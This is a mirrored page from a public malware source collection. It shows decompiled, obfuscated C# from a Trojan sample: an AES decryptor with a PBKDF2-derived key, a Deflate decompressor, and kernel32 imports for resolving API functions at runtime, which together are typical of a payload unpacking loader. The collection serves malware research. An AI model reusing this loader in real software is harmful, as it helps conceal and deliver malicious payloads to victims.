mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-20 00:58:52 +00:00
53 lines
1.9 KiB
C#
53 lines
1.9 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062
|
||
// MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe
|
||
|
||
using \u0005;
|
||
using System;
|
||
using System.IO;
|
||
using System.IO.Compression;
|
||
using System.Runtime.InteropServices;
|
||
using System.Security.Cryptography;
|
||
using System.Text;
|
||
|
||
namespace \u0005
|
||
{
|
||
internal class \u0001
|
||
{
|
||
private static byte[] \u0003([In] byte[] obj0, [In] string obj1)
|
||
{
|
||
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj1, new byte[8]);
|
||
return new RijndaelManaged().CreateDecryptor(rfc2898DeriveBytes.GetBytes(32), rfc2898DeriveBytes.GetBytes(16)).TransformFinalBlock(obj0, 0, obj0.Length);
|
||
}
|
||
|
||
private static byte[] \u0003([In] byte[] obj0)
|
||
{
|
||
MemoryStream memoryStream1 = new MemoryStream(obj0);
|
||
MemoryStream memoryStream2 = new MemoryStream();
|
||
byte[] buffer = new byte[1024];
|
||
using (DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress, true))
|
||
{
|
||
while (true)
|
||
{
|
||
int count = deflateStream.Read(buffer, 0, buffer.Length);
|
||
if (count > 0)
|
||
memoryStream2.Write(buffer, 0, count);
|
||
else
|
||
break;
|
||
}
|
||
}
|
||
return memoryStream2.ToArray();
|
||
}
|
||
|
||
public static byte[] \u0003([In] string obj0, [In] string obj1) => \u0001.\u0003(\u0001.\u0003(Encoding.Default.GetBytes(obj0), obj1));
|
||
|
||
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
|
||
public static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1);
|
||
|
||
[DllImport("kernel32", EntryPoint = "GetModuleHandle")]
|
||
public static extern IntPtr \u0003([In] string obj0);
|
||
}
|
||
}
|